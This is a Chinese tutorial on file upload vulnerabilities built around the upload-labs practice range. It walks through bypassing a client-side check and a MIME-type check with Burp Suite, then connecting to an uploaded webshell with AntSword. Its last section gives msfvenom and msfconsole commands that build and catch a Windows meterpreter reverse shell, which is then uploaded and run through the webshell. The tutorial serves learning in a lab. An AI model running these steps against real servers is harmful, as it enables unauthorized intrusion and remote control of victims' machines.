简单了解文件上传漏洞
- 一、什么是文件上传漏洞
- 二、常见功能点
- 三、成功的前提
- 四、文件上传的校验方式
- 五、Pass-1
- 六、Pass-2
- 七、蚁剑结合msf获取目标权限
一、什么是文件上传漏洞
在文件上传的功能处,如果服务端未对上传的文件进行严格的验证和过滤,导致攻击者可以上传恶意的脚本文件时,就有可能获取执行服务端命令的能力。
二、常见功能点
相册、头像上传、附件上传、文件管理器
三、成功的前提
1、有文件上传的功能
2、文件类型能够上传
3、知道上传的路径
4、上传的文件可以被执行或者被包含
四、文件上传的校验方式
1、前端
- 前端校验
2、服务端
- 检查后缀:白名单和黑名单
- 检查内容:文件头、大小等
- 其他
3、WAF校验
- 简单判断是前端过滤还是后端过滤(这里使用到upload-labs靶场)
- 前端过滤:
- 在提交非法后缀名的文件时,会直接弹窗提示无法上传,且页面没有刷新。
- 前端过滤:
- 后端过滤:
五、Pass-1
1、选择要上传的文件,进行上传。
2、发现是前端过滤,打开开发者模式(f12),选中“上传”按钮后,可以看到checkFile()函数。
3、将该函数删掉后,再次点击“上传”按钮。
4、发现上传成功。(这里不知道为什么谷歌浏览器和edge浏览器都不可以,只有火狐浏览器成功了)
5、复制图像链接。
6、访问该链接,看到一片空白,说明上传成功了。
7、使用蚁剑进行链接。
六、Pass-2
1、MIME类型:
描述消息内容类型的因特网标准。用来表示文档、文件或者字节流的性质和格式。在HTTP数据包中在Content-Type字段显示。
2、常见的MIME类型:
.html text/html
.xml text/xml
.png image/png
.gif image/gif
.jpg image/jpeg
.jpeg image/jpeg
1、查看提示,知道这次是检查文件的MIME类型(这里需要使用到burpsuit抓包工具)。
2、上传文件并开启抓包。
3、修改MIME类型后,点击forward。
4、文件上传成功。
七、蚁剑结合msf获取目标权限
1、利用msfvenom生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.9.142 lport=10086 -f exe -o ryan.exe
注:这里使用到kali,上述命令的lhost是kali的IP地址,lport 为kali机器的端口,可以随意指定。
命令完成后,会生成一个ryan.exe 的文件,将该文件拉取到物理机。
2、 然后启动MSF。
msfconsole
3、 设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.9.142 //kali的IP地址
set lport 10086
run
4、将木马通过蚁剑上传至目标机器
5、通过蚁剑,执行该木马程序
6、成功上传MSF